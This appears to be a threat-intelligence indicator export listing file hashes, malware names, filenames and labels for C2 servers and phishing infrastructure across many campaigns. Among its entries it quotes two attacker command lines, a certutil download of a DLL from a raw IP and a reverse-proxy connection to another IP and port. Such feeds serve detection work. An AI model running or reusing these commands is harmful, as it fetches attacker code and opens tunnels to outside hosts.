sha1: 04423659f175a6878b26ac7d6b6e47c6fd9194d1 sha256: edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70 sha512: df55591e730884470afba688e17c83fafb157ecf94c9f10a20e21f229434ea58b59f8eb771f8f9e29993f43f4969fe66dd913128822b534c9b1a677453dbb93c


md5: fd41134e8ead1c18ccad27c62a260aa6 sha256: edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70 sha512: df55591e730884470afba688e17c83fafb157ecf94c9f10a20e21f229434ea58b59f8eb771f8f9e29993f43f4969fe66dd913128822b534c9b1a677453dbb93c


md5: fd41134e8ead1c18ccad27c62a260aa6 sha1: 04423659f175a6878b26ac7d6b6e47c6fd9194d1 sha512: df55591e730884470afba688e17c83fafb157ecf94c9f10a20e21f229434ea58b59f8eb771f8f9e29993f43f4969fe66dd913128822b534c9b1a677453dbb93c


md5: fd41134e8ead1c18ccad27c62a260aa6 sha1: 04423659f175a6878b26ac7d6b6e47c6fd9194d1 sha256: edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70


sha1: ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34 sha256: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0 sha512: d99941e4445efed5d4e407f91a9e5bba08d1be3f0dab065d1bfb4e70ab48d6526a730233d6889ba58de449f622e6a14e99dab853d40fc30a508627fd2735c973 ssdeep: 384:ahXoLj9Zez0Bm4SUZa8WLLXyjSL2RtfAwj/yneIMUogQ:ahXoLhZez0m4SIabLLCmL2Rvj/yeIEg filename: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0


md5: 3a97d9b6f17754dcd38ca7fc89caab04 sha256: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0 sha512: d99941e4445efed5d4e407f91a9e5bba08d1be3f0dab065d1bfb4e70ab48d6526a730233d6889ba58de449f622e6a14e99dab853d40fc30a508627fd2735c973 ssdeep: 384:ahXoLj9Zez0Bm4SUZa8WLLXyjSL2RtfAwj/yneIMUogQ:ahXoLhZez0m4SIabLLCmL2Rvj/yeIEg filename: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0


md5: 3a97d9b6f17754dcd38ca7fc89caab04 sha1: ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34 sha512: d99941e4445efed5d4e407f91a9e5bba08d1be3f0dab065d1bfb4e70ab48d6526a730233d6889ba58de449f622e6a14e99dab853d40fc30a508627fd2735c973 ssdeep: 384:ahXoLj9Zez0Bm4SUZa8WLLXyjSL2RtfAwj/yneIMUogQ:ahXoLhZez0m4SIabLLCmL2Rvj/yeIEg filename: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0


md5: 3a97d9b6f17754dcd38ca7fc89caab04 sha1: ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34 sha256: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0 ssdeep: 384:ahXoLj9Zez0Bm4SUZa8WLLXyjSL2RtfAwj/yneIMUogQ:ahXoLhZez0m4SIabLLCmL2Rvj/yeIEg filename: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0


md5: 3a97d9b6f17754dcd38ca7fc89caab04 sha1: ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34 sha256: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0 sha512: d99941e4445efed5d4e407f91a9e5bba08d1be3f0dab065d1bfb4e70ab48d6526a730233d6889ba58de449f622e6a14e99dab853d40fc30a508627fd2735c973 filename: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0


md5: 3a97d9b6f17754dcd38ca7fc89caab04 sha1: ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34 sha256: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0 sha512: d99941e4445efed5d4e407f91a9e5bba08d1be3f0dab065d1bfb4e70ab48d6526a730233d6889ba58de449f622e6a14e99dab853d40fc30a508627fd2735c973 ssdeep: 384:ahXoLj9Zez0Bm4SUZa8WLLXyjSL2RtfAwj/yneIMUogQ:ahXoLhZez0m4SIabLLCmL2Rvj/yeIEg


sha1: ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34 sha256: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0 sha512: d99941e4445efed5d4e407f91a9e5bba08d1be3f0dab065d1bfb4e70ab48d6526a730233d6889ba58de449f622e6a14e99dab853d40fc30a508627fd2735c973


md5: 3a97d9b6f17754dcd38ca7fc89caab04 sha256: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0 sha512: d99941e4445efed5d4e407f91a9e5bba08d1be3f0dab065d1bfb4e70ab48d6526a730233d6889ba58de449f622e6a14e99dab853d40fc30a508627fd2735c973


md5: 3a97d9b6f17754dcd38ca7fc89caab04 sha1: ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34 sha512: d99941e4445efed5d4e407f91a9e5bba08d1be3f0dab065d1bfb4e70ab48d6526a730233d6889ba58de449f622e6a14e99dab853d40fc30a508627fd2735c973


md5: 3a97d9b6f17754dcd38ca7fc89caab04 sha1: ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34 sha256: eaef901b31b5835035b75302f94fee27288ce46971c6db6221ecbea9ba7ff9d0


sha1: ffdb3cc7ab5b01d276d23ac930eb21ffe3202d11 sha256: 99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1 sha512: e41df636a36ac0cce38e7db5c2ce4d04a1a7f9bc274bdf808912d14067dc1ef478268035521d0d4b7bcf96facce7f515560b38a7ebe47995d861b9c482e07e25 ssdeep: 98304:z2eyMq4PuR5d7wgdo0OFfnFJkEUCGdaQLhpYYEfRTl6sysy:ryxzbdo0ifnoEOdz9pY7j5 filename: SMSvcService.exe


md5: b1de37bf229890ac181bdef1ad8ee0c2 sha256: 99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1 sha512: e41df636a36ac0cce38e7db5c2ce4d04a1a7f9bc274bdf808912d14067dc1ef478268035521d0d4b7bcf96facce7f515560b38a7ebe47995d861b9c482e07e25 ssdeep: 98304:z2eyMq4PuR5d7wgdo0OFfnFJkEUCGdaQLhpYYEfRTl6sysy:ryxzbdo0ifnoEOdz9pY7j5 filename: SMSvcService.exe


md5: b1de37bf229890ac181bdef1ad8ee0c2 sha1: ffdb3cc7ab5b01d276d23ac930eb21ffe3202d11 sha512: e41df636a36ac0cce38e7db5c2ce4d04a1a7f9bc274bdf808912d14067dc1ef478268035521d0d4b7bcf96facce7f515560b38a7ebe47995d861b9c482e07e25 ssdeep: 98304:z2eyMq4PuR5d7wgdo0OFfnFJkEUCGdaQLhpYYEfRTl6sysy:ryxzbdo0ifnoEOdz9pY7j5 filename: SMSvcService.exe


md5: b1de37bf229890ac181bdef1ad8ee0c2 sha1: ffdb3cc7ab5b01d276d23ac930eb21ffe3202d11 sha256: 99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1 ssdeep: 98304:z2eyMq4PuR5d7wgdo0OFfnFJkEUCGdaQLhpYYEfRTl6sysy:ryxzbdo0ifnoEOdz9pY7j5 filename: SMSvcService.exe


md5: b1de37bf229890ac181bdef1ad8ee0c2 sha1: ffdb3cc7ab5b01d276d23ac930eb21ffe3202d11 sha256: 99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1 sha512: e41df636a36ac0cce38e7db5c2ce4d04a1a7f9bc274bdf808912d14067dc1ef478268035521d0d4b7bcf96facce7f515560b38a7ebe47995d861b9c482e07e25 filename: SMSvcService.exe


md5: b1de37bf229890ac181bdef1ad8ee0c2 sha1: ffdb3cc7ab5b01d276d23ac930eb21ffe3202d11 sha256: 99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1 sha512: e41df636a36ac0cce38e7db5c2ce4d04a1a7f9bc274bdf808912d14067dc1ef478268035521d0d4b7bcf96facce7f515560b38a7ebe47995d861b9c482e07e25 ssdeep: 98304:z2eyMq4PuR5d7wgdo0OFfnFJkEUCGdaQLhpYYEfRTl6sysy:ryxzbdo0ifnoEOdz9pY7j5


sha1: ffdb3cc7ab5b01d276d23ac930eb21ffe3202d11 sha256: 99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1 sha512: e41df636a36ac0cce38e7db5c2ce4d04a1a7f9bc274bdf808912d14067dc1ef478268035521d0d4b7bcf96facce7f515560b38a7ebe47995d861b9c482e07e25


md5: b1de37bf229890ac181bdef1ad8ee0c2 sha256: 99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1 sha512: e41df636a36ac0cce38e7db5c2ce4d04a1a7f9bc274bdf808912d14067dc1ef478268035521d0d4b7bcf96facce7f515560b38a7ebe47995d861b9c482e07e25


md5: b1de37bf229890ac181bdef1ad8ee0c2 sha1: ffdb3cc7ab5b01d276d23ac930eb21ffe3202d11 sha512: e41df636a36ac0cce38e7db5c2ce4d04a1a7f9bc274bdf808912d14067dc1ef478268035521d0d4b7bcf96facce7f515560b38a7ebe47995d861b9c482e07e25


md5: b1de37bf229890ac181bdef1ad8ee0c2 sha1: ffdb3cc7ab5b01d276d23ac930eb21ffe3202d11 sha256: 99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1


WARPWIRE credential harvester variant


WARPWIRE credential harvester


CHAINLINE web shell


LIGHTWIRE web shell


FRAMESTING web shell


Malware Hosting


WarpWire C2


used by the ransomware


BlackHunt_Update.hta file


Black Hunt ransomware


Primary contact for ransom


Secondary contact for ransom


Git repository


sample


The Netherlands|Noord-Holland|Amsterdam AS49870|Alsycon B.V


Moldova|None|None AS200019|ALEXHOST SRL


China|Hongkong|Hongkong AS9009|M247 Europe SRL


IPv4 / / Sliver C2 server, owned byOVH SAS (London, England)


Infrastructure serving Sliverpayload


jvm-agent / Filename / Sliver payload


2023-07-0121:09:39 / Malicious Nulloy NSIS installer, filename: install.exe


2023-07-0121:09:39 / Malicious Nulloy NSIS installer, sha256: 21ae1d88e675c9a2d51a2f68beadf24a21c1b16f58fc042ff97ad8e52501300d


2023-07-0121:09:39 / Malicious Nulloy NSIS installer, sha256: 3812aa78d548cbf9e7667569803a437dd38805f538f4cc79d42b96e547367c56


Thu Jan 1718:28:57 2019 UTC / VileLoader, filename: NvStTest.exe


Thu Jan 1718:28:57 2019 UTC / VileLoader, sha256: 552f9c111bdf18479b2195933649b8dbf80d65113b6d8743ecc9562a4e065a77


Thu Jan 1718:28:57 2019 UTC / VileLoader, sha256: 66258788b114f08cbddbe03732e8bb8c6b314e5b0f6b69d3a48ad2eb7d615a3a


Encrypted VileRAT payload, filename: wctSBWZ.tmp


Encrypted VileRAT payload, sha256: 76f93a5d5a1b6bacb6ce474e8388819a3fdb50be51b0ee59bafdfabf5cc6cbb6


Encrypted VileRAT payload, filename: wctOFKS.tmp


Encrypted VileRAT payload, sha256: a9c46388c5a118e90f767992ba23516505f9ed0acd2a4ede11f60cc274912f88


2023-07-28 06:06:18.00 / VileRAT C2


2023-07-28 06:06:14.00 / VileRAT C2


2023-07-28 06:06:22.00 / VileRAT C2


2023-07-28 06:06:05.00 / VileRAT C2


2023-07-28 00:00:00.00 / VileRAT C2


Simple indicator of observable {84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d}


Simple indicator of observable {bc90ef8121d20af264cc15b38dd1c3a866bfe5a9eb66064feb2a00d860a0e716}


Simple indicator of observable {149.104.23.176}


cmd /c certutil.exe -urlcache -split -f http://206.237.3.150/JuicyDll.dll C:\users\public\1.dll


c:\programdata\AppLaunch.exe proxy -r 206.237.0.49:12355 >> 1.txt


— varies / Configuration and cache dump or CAV web server log exfiltration


— varies / Configuration and cache dump


— varies / WIREFIRE web shell


WARPWIRE C2 server


WARPWIRE variant C2 server


Domain / WARPWIRE variant C2 server


IPv4 / WARPWIRE variant C2 server


IPv4 / Mass exploitation activity


IPv4 / Post-exploitation activity


filename: health.py


md5: 3045f5b3d355a9ab26ab6f44cc831a83


filename: compcheckresult.cgi


md5: 3d97f55a03ceb4f71671aa2ecf5b24e9


filename: lastauthserverused.js


md5: 2ec505088b942c234f39a37188e80d7a


md5: 8eb042da6ba683ef1bae460af103cc44


md5: a739bd4c2b9f3679f43579711448786f


md5: a81813f70151a022ea1065b7f4d6b5ab


md5: d0c7a334a4d9dcd3c6335ae13bee59ea


md5: e8489983d73ed30a4240a14b1f161254


filename: category.py


md5: 465600cece80861497e8c1c86a07a23e


Phishing site hosting - EdgeOS device


C&C server - EdgeOS device


Source spear phishing emails - EdgeOS device


Source spear phishing emails


Source spear phishing emails - Whoer VPN


Source spear phishing emails - IPVanish


C&C server - Fortigate Device


Source spear phishing emails - Anchorfree VPN


Source spear phishing emails - Le VPN


Source spear phishing emails - Cactus VPN


Testing - Mullvad VPN


Source spear phishing emails - Mullvad VPN


Source spear phishing emails - EdgeOS router


Testing - Le VPN


Phishing site


Legitimate service, but heavily abused by Pawn Storm


Malicious scripts


db-access-key.exe


Zeyilname.zip


WindowsCodecs.dll


Zeyilname.docx


command.cmd


Zeyilname.lnk


pol.zip


wody.zip


KFP.311.152.2023.pdf .lnk


Official Information of Azerbaijan Defense Ministry.pdf.lnk


Client.py


2008-08-28 1.0.0


2009-11-16 1.0.0


2009-12-29 1.0.0


2010-10-12 1.0.0.63


2011-05-12 2.0.0.685


2012-05-31 2.0.1.1432


2013-07-08 2.0.1.1457


2014-06-24 2.0.1.2544


2015-01-28 2.0.1.2674


2015-12-17 3.0.0.116


2016-01-04 3.0.0.180


2016-01-04 3.0.0.275


2016-01-13 3.0.0.262


2016-01-29 3.0.0.322


2016-02-09 3.0.0.333


2016-02-12 3.0.0.352


2016-03-08 3.0.0.443


2016-04-05 3.0.0.468


2016-04-05 3.0.0.473


2016-04-06 3.0.0.506


2016-04-26 3.0.0.580


2016-05-19 3.0.0.739


2016-06-01 3.0.0.743


2017-04-27 3.1.0.723


2017-05-16 3.1.0.733


2018-02-06 3.2.2.381


2019-09-16 3.2.3.91


2020-01-22 3.2.4.8


2020-03-03 3.2.4.53


2020-03-20 3.2.4.70


2020-04-01 3.2.4.75


2020-04-29 3.2.4.136


2020-05-07 3.2.4.141


2020-05-28 3.2.4.401


2020-08-07 3.2.5.42


2020-08-11 3.2.5.43


2020-11-03 3.2.5.83


2020-11-24 4.0.1.29


2020-12-15 4.0.1.138


2021-03-12 4.0.1.194


2021-04-12 4.0.2.1


2021-04-15 4.0.2.12


2021-04-22 4.0.2.12


2021-04-29 4.0.2.68


2021-05-06 4.0.2.68


2021-09-20 4.0.2.318


2021-09-27 4.0.2.363


2021-11-03 4.0.3.1


2021-11-04 4.0.3.2


2021-12-09 4.0.3.10


2022-02-10 4.0.3.490


2022-02-14 4.0.3.491


2022-02-14 4.0.3.503


2022-02-15 4.0.3.509


2022-02-18 4.0.3.532


2022-02-24 4.0.3.549


2022-04-06 4.0.3.573


2022-04-29 4.0.3.573


2022-05-04 4.0.3.674


2022-05-04 4.0.3.675


2022-05-04 4.0.3.683


2022-05-12 4.0.3.684


2022-05-18 4.0.3.686


2022-05-23 4.0.3.689


2022-05-24 4.0.3.690


2022-06-07 4.0.3.694


2022-08-31 4.0.3.780


2022-09-06 4.0.3.858


2022-09-08 4.0.3.860


2022-09-15 4.0.3.892


2022-09-20 4.0.3.894


2022-09-28 4.0.3.895


2022-10-04 4.0.3.914


2022-10-10 4.0.3.967


2022-10-11 4.0.3.973


2022-10-25 4.0.3.1051


2022-10-26 4.0.4.2


2022-10-28 4.0.4.14


2022-10-31 4.0.4.20


2022-11-08 4.0.4.26


2022-11-08 4.0.4.27


2022-11-16 4.0.4.30


2022-11-28 4.0.4.46


2022-12-13 4.0.4.52


2022-12-20 4.0.4.60


2022-12-20 4.0.4.62


2022-12-22 4.0.4.66


2023-01-31 4.0.4.432


2023-05-02 4.0.4.1035


2023-05-10 4.0.4.1038


2023-12-11 5.0.0.326


2023-12-13 5.0.0.361


2023-12-19 5.0.0.370


2024-01-22 5.0.0.484


2024-01-22 5.0.0.486


ZIP DROPPER


LNK DROPPER


DROP-POINT


C&C


Trojan ( 005af6051 )


filepath: C:\Program Files (x86)\WinSoft Update Service\bootstrap.pyc


C:\Program Files (x86)\WinSoft Update Service\bootstrap.pyc

filename: bootstrap.pyc


filepath: C:\Program Files (x86)\WinSoft Update Service\program.pyz


C:\Program Files (x86)\WinSoft Update Service\program.pyz

filename: program.pyz


filepath: C:\windows\runtimebroker .exe


filename: runtimebroker .exe


filepath: C:\Program Files (x86)\pyt37\python37.zip


filename: python37.zip


TA576 Reply-to Address 23 January 2024


in Emails 23 January 2024


Redirect Target Example 23 January 2024


HTA Payload 23 January 2024


in Emails 24 January 2024


Redirect Target Example 24 January 2024


HTA Payload 24 January 2024


PowerShell Payload Parallax RAT EXE 24 January 2024


Parallax RAT 24 January 2024


sha1: eea811d2a304101cc0b0edebe6590ea0f3da0a27 sha256: d743daa22fdf4313a10da027b034c603eda255be037cb45b28faea23114d3b8a filename: build_redacted.exe


md5: 1852be15aa8dcf664291b3849bd348e4 sha256: d743daa22fdf4313a10da027b034c603eda255be037cb45b28faea23114d3b8a filename: build_redacted.exe


md5: 1852be15aa8dcf664291b3849bd348e4 sha1: eea811d2a304101cc0b0edebe6590ea0f3da0a27 filename: build_redacted.exe


md5: 1852be15aa8dcf664291b3849bd348e4 sha1: eea811d2a304101cc0b0edebe6590ea0f3da0a27 sha256: d743daa22fdf4313a10da027b034c603eda255be037cb45b28faea23114d3b8a


sha1: 21b7460aa5f7eb7a064d2a7a6837da57719f9c2e sha256: d6d8302d8db7f17aaa45059b60eb8de33166c95d1d833ca4d5061201e4737009 filename: DefenderOFF.bat


md5: c5d7ce243c1d735d9ca419cc916b87ec sha256: d6d8302d8db7f17aaa45059b60eb8de33166c95d1d833ca4d5061201e4737009 filename: DefenderOFF.bat


md5: c5d7ce243c1d735d9ca419cc916b87ec sha1: 21b7460aa5f7eb7a064d2a7a6837da57719f9c2e filename: DefenderOFF.bat


md5: c5d7ce243c1d735d9ca419cc916b87ec sha1: 21b7460aa5f7eb7a064d2a7a6837da57719f9c2e sha256: d6d8302d8db7f17aaa45059b60eb8de33166c95d1d833ca4d5061201e4737009


sha1: 2f5991e67615763865b7e4c4c9558eb447ed7c0d sha256: 12f838b54c6dac78f348828fe34f04ac355fa8cc24f8d7c7171d310767463c6c filename: ipall.bat


md5: b2bb4d49c38f06a42f15b39744d425d0 sha256: 12f838b54c6dac78f348828fe34f04ac355fa8cc24f8d7c7171d310767463c6c filename: ipall.bat


md5: b2bb4d49c38f06a42f15b39744d425d0 sha1: 2f5991e67615763865b7e4c4c9558eb447ed7c0d filename: ipall.bat


md5: b2bb4d49c38f06a42f15b39744d425d0 sha1: 2f5991e67615763865b7e4c4c9558eb447ed7c0d sha256: 12f838b54c6dac78f348828fe34f04ac355fa8cc24f8d7c7171d310767463c6c


sha1: a73fbffe33ea82b20c4129e552fbc5b76891080e sha256: 40fe2564e34168bf5470bbe0247bc614117334753a107b2baeb113154b4de6a7 filename: DefenderON.bat


md5: 718f68b24d1e331e60e1a10c92a81961 sha256: 40fe2564e34168bf5470bbe0247bc614117334753a107b2baeb113154b4de6a7 filename: DefenderON.bat


md5: 718f68b24d1e331e60e1a10c92a81961 sha1: a73fbffe33ea82b20c4129e552fbc5b76891080e filename: DefenderON.bat


md5: 718f68b24d1e331e60e1a10c92a81961 sha1: a73fbffe33ea82b20c4129e552fbc5b76891080e sha256: 40fe2564e34168bf5470bbe0247bc614117334753a107b2baeb113154b4de6a7


sha1: 723baea0983b283eebd8331025a52eb13d5daaa7 sha256: 277550c9d5771a13b65e90f5655150e365516215a714ffd3f075b5b426e2ddc1 filename: ipinfo.bat


md5: 09dcedb5a6ad0ef5bbea4496486ba4e5 sha256: 277550c9d5771a13b65e90f5655150e365516215a714ffd3f075b5b426e2ddc1 filename: ipinfo.bat


md5: 09dcedb5a6ad0ef5bbea4496486ba4e5 sha1: 723baea0983b283eebd8331025a52eb13d5daaa7 filename: ipinfo.bat


md5: 09dcedb5a6ad0ef5bbea4496486ba4e5 sha1: 723baea0983b283eebd8331025a52eb13d5daaa7 sha256: 277550c9d5771a13b65e90f5655150e365516215a714ffd3f075b5b426e2ddc1


sha1: 52f7e3437d83e964cb2fcc1175fad0611a12e26c sha256: 35ff76d763714812486a2f6ad656d124f3fcdfc4d16d49df6221325c8ae8827a filename: ipwho.bat


md5: 0fd71d43c1f07d6a8fa73b0fa7beffa7 sha256: 35ff76d763714812486a2f6ad656d124f3fcdfc4d16d49df6221325c8ae8827a filename: ipwho.bat


md5: 0fd71d43c1f07d6a8fa73b0fa7beffa7 sha1: 52f7e3437d83e964cb2fcc1175fad0611a12e26c filename: ipwho.bat


md5: 0fd71d43c1f07d6a8fa73b0fa7beffa7 sha1: 52f7e3437d83e964cb2fcc1175fad0611a12e26c sha256: 35ff76d763714812486a2f6ad656d124f3fcdfc4d16d49df6221325c8ae8827a


sha1: 1b65d347bea374bb9915c445382ae696ba4064d4 sha256: 7f7e61246445872aec37808a2c20f5f055fb5fba8bd3f5af5194762114700180 filename: newnewuser.bat


md5: ca49787e7ea3b81fccca2ae45852a3d6 sha256: 7f7e61246445872aec37808a2c20f5f055fb5fba8bd3f5af5194762114700180 filename: newnewuser.bat


md5: ca49787e7ea3b81fccca2ae45852a3d6 sha1: 1b65d347bea374bb9915c445382ae696ba4064d4 filename: newnewuser.bat


md5: ca49787e7ea3b81fccca2ae45852a3d6 sha1: 1b65d347bea374bb9915c445382ae696ba4064d4 sha256: 7f7e61246445872aec37808a2c20f5f055fb5fba8bd3f5af5194762114700180


sha1: d5d686acb2ad66fa2e01bbfc4e166df80dc76d06 sha256: 0596b08f0f4c6526b568fc7c9d55abd95230a48feb07b67482392d31c40f3aea filename: newuser.bat


md5: cf39e14df6c95285f23cd6d16a2a8a4e sha256: 0596b08f0f4c6526b568fc7c9d55abd95230a48feb07b67482392d31c40f3aea filename: newuser.bat


md5: cf39e14df6c95285f23cd6d16a2a8a4e sha1: d5d686acb2ad66fa2e01bbfc4e166df80dc76d06 filename: newuser.bat


md5: cf39e14df6c95285f23cd6d16a2a8a4e sha1: d5d686acb2ad66fa2e01bbfc4e166df80dc76d06 sha256: 0596b08f0f4c6526b568fc7c9d55abd95230a48feb07b67482392d31c40f3aea


sha1: ac0dce3b0f5b8d187a2e3f29efc358538fd4aa45 sha256: 56b08aa03bd8c0ea094cfeb03d5954ffd857bac42df929dc835eea62f32b09e0 filename: openrdp.bat


md5: 44370f5c977e415981febf7dbb87a85c sha256: 56b08aa03bd8c0ea094cfeb03d5954ffd857bac42df929dc835eea62f32b09e0 filename: openrdp.bat


md5: 44370f5c977e415981febf7dbb87a85c sha1: ac0dce3b0f5b8d187a2e3f29efc358538fd4aa45 filename: openrdp.bat


md5: 44370f5c977e415981febf7dbb87a85c sha1: ac0dce3b0f5b8d187a2e3f29efc358538fd4aa45 sha256: 56b08aa03bd8c0ea094cfeb03d5954ffd857bac42df929dc835eea62f32b09e0


sha1: 8003bcb91775386084dcedeca3e1ea68d50888c3 sha256: 54586ffce0dcb658de916cc46539b5a1e564aaa72be2620fc4f9133ca54aba64 filename: psNET.bat


md5: 3bce26176509adf3f9d8e2e274d92f9e sha256: 54586ffce0dcb658de916cc46539b5a1e564aaa72be2620fc4f9133ca54aba64 filename: psNET.bat


md5: 3bce26176509adf3f9d8e2e274d92f9e sha1: 8003bcb91775386084dcedeca3e1ea68d50888c3 filename: psNET.bat


md5: 3bce26176509adf3f9d8e2e274d92f9e sha1: 8003bcb91775386084dcedeca3e1ea68d50888c3 sha256: 54586ffce0dcb658de916cc46539b5a1e564aaa72be2620fc4f9133ca54aba64


sha1: 52332ce16ee0c393b8eea6e71863ad41e3caeafd sha256: 18f0898d595ec054d13b02915fb7d3636f65b8e53c0c66b3c7ee3b6fc37d3566 filename: netscan.exe


md5: 27f7186499bc8d10e51d17d3d6697bc5 sha256: 18f0898d595ec054d13b02915fb7d3636f65b8e53c0c66b3c7ee3b6fc37d3566 filename: netscan.exe


md5: 27f7186499bc8d10e51d17d3d6697bc5 sha1: 52332ce16ee0c393b8eea6e71863ad41e3caeafd filename: netscan.exe


md5: 27f7186499bc8d10e51d17d3d6697bc5 sha1: 52332ce16ee0c393b8eea6e71863ad41e3caeafd sha256: 18f0898d595ec054d13b02915fb7d3636f65b8e53c0c66b3c7ee3b6fc37d3566


sha1: 641b7cf77286bd86eb144147bbf073bbd2c9c261 sha256: 8cf27e05e639fcc273d3cceadf68e69573b58e74b4bfce8460a418366a782fbd filename: rdp.exe


md5: 037d9a5307e32252a3556bbe038a0722 sha256: 8cf27e05e639fcc273d3cceadf68e69573b58e74b4bfce8460a418366a782fbd filename: rdp.exe


md5: 037d9a5307e32252a3556bbe038a0722 sha1: 641b7cf77286bd86eb144147bbf073bbd2c9c261 filename: rdp.exe


md5: 037d9a5307e32252a3556bbe038a0722 sha1: 641b7cf77286bd86eb144147bbf073bbd2c9c261 sha256: 8cf27e05e639fcc273d3cceadf68e69573b58e74b4bfce8460a418366a782fbd


sha1: 2cb4b4fb1ec8305ef03e1802f56be22b12379a0c sha256: 8834c84cfd7e086f74a2ffa5b14ced2c039d78feda4bad610aba1c6bb4a6ce7f filename: sd.exe


md5: 08aaa7f4e2c1278c0e9b06ce4e6c217d sha256: 8834c84cfd7e086f74a2ffa5b14ced2c039d78feda4bad610aba1c6bb4a6ce7f filename: sd.exe


md5: 08aaa7f4e2c1278c0e9b06ce4e6c217d sha1: 2cb4b4fb1ec8305ef03e1802f56be22b12379a0c filename: sd.exe


md5: 08aaa7f4e2c1278c0e9b06ce4e6c217d sha1: 2cb4b4fb1ec8305ef03e1802f56be22b12379a0c sha256: 8834c84cfd7e086f74a2ffa5b14ced2c039d78feda4bad610aba1c6bb4a6ce7f


start — копия — копия.bat, sha1: 97c05403150f9fe87a62c8ebc988ba7f2006ba6f sha256: 6afb934834b97221dee10cbf97741c5fe058730460bfdbcf1da206758a296178


start — копия — копия.bat, md5: eceaa5fe9d6440701c00ee92bdca2dc8 sha256: 6afb934834b97221dee10cbf97741c5fe058730460bfdbcf1da206758a296178


start — копия — копия.bat, md5: eceaa5fe9d6440701c00ee92bdca2dc8 sha1: 97c05403150f9fe87a62c8ebc988ba7f2006ba6f


Hostnames


of possibly associated suspicious infrastructure (from May 2023 to January 2024)


exposing backdoored OpenSSH services (January 2024)


Malicious Web page HTML file


Malicious LNK


MASEPIE


OCEANMAP


Malicious Web page


Interactsh


Interactsh hostnam


WebDAV stager (legitimate compromised)


MASEPIE C2 server (legitimate compromised)


WebDAV-hosted search-ms filenam


Albabat Ransomware File


C2 Server


Fake


Redirectors


Payloads


Trojan.BAT.KASSEIKA.A


Trojan.BAT.KASSEIKA.B


HackTool.BAT.Clearlog.A


Address / used to download Packed.rar and main.exe


main.exe


Packed.rar


cherrytree.exe/CherryLoader


NuxtSharp.Data (Encrypted)


NuxtSharp.Data (Decrypted)


Spof.Data (Encrypted)


Spof.Data/PrintSpoofer (Decrypted)


Juicy.data/JuicyPotatoNG (Encrypted)


Juicy.Data (Decrypted)


User.bat


VexTrio TDS with dating keywords


VexTrio TDS with award keywords


VexTrio robot CAPTCHA TDS


VexTrio DNS-based TDS


VexTrio TDS (response from DNS-based TDS)


ClearFake TDS


Gambling sites that ClearFake redirects to


SocGholish TDS


TikTok lookalike registered by a VexTrio affiliate


Shortened generated by VexTrio affiliate


Anti-bot lookalike registered by a VexTrio affiliate


SMS scam content operated by a VexTrio downstream threat actor


EML


PDF


Fat Mach-O / GUI


Fat Mach-O / tool


Mach-O / Bitcoin-Qt


JavaScript / Main/index.js


JavaScript / Wallet/index.js


DMG / Aiseesoft Blu-ray Player 6.6.38.dmg


DMG / Bike 1.18.0.dmg


DMG / Final Draft 12.0.10.dmg


DMG / Keep It 2.3.7.dmg


DMG / OmniReader Pro 2.6.8.dmg


DMG / SimpleMind Pro 2.3.0.dmg


DMG / SyncBird Pro 4.0.8.dmg


DMG / xScope 4.7.0.dmg


DMG / Swinsian 3.0.dmg


DMG / Infuse Pro 7.6.6.dmg


DMG / Fix My iPhone 2.4.9.dmg


DMG / Omni Toolbox 1.5.1.dmg


Python script / Stage two


Python script / Stage two (tool to disable notifications)


Python script / Stage three


Zip / Bitcoin-Qt


Zip / Bitcoin-QtIntel


Zip / App.zip


AppleScript script / Exodus.scpt


of APKs


Infrastructure


EML


PDF


Pikabot


intelligence.lnk


Malicious HWP document


Malicious Office document


8. 이도건 북한연구소 토론회.lnk


9. 김태원 북한인권 전문가 토론회 토론문.hwp


1. 전영선 북한 주민 정보접근권 강화방안.hwp


2.이상용 반동사상문화배격법과 정보 유입 활동의 변화.pptx


Decoy document


public.dat


3. 이윤식 북한인권법 실행방안 북한인권재단 출범 중심.lnk


10. 서유석 북한 주민들의 알권리 제고 방안.hwp


news.lnk


6. 이종겸 북한인권 토론회 토론문.hwp


조선 시장 물가 분석(회령).hwp


7. 박유성 북한주민 정보접근 강화방안.hwp


5. 여현철 북한주민 정보접근권 강화 방안.hwp


myprofile[.]zip


조선 시장 물가 분석(신의주).hwp


C2 (HWP and Office documents)


VPS overlap (moderate confidence)


C2 (HWP documents)


C2 (Office document)


C2 (HWP document)


Cherry Servers VPS


Phishing address


Example malware drops through eval-stdin.php


Zloader sample


Zloader C2


XMRig cryptocurrency miner


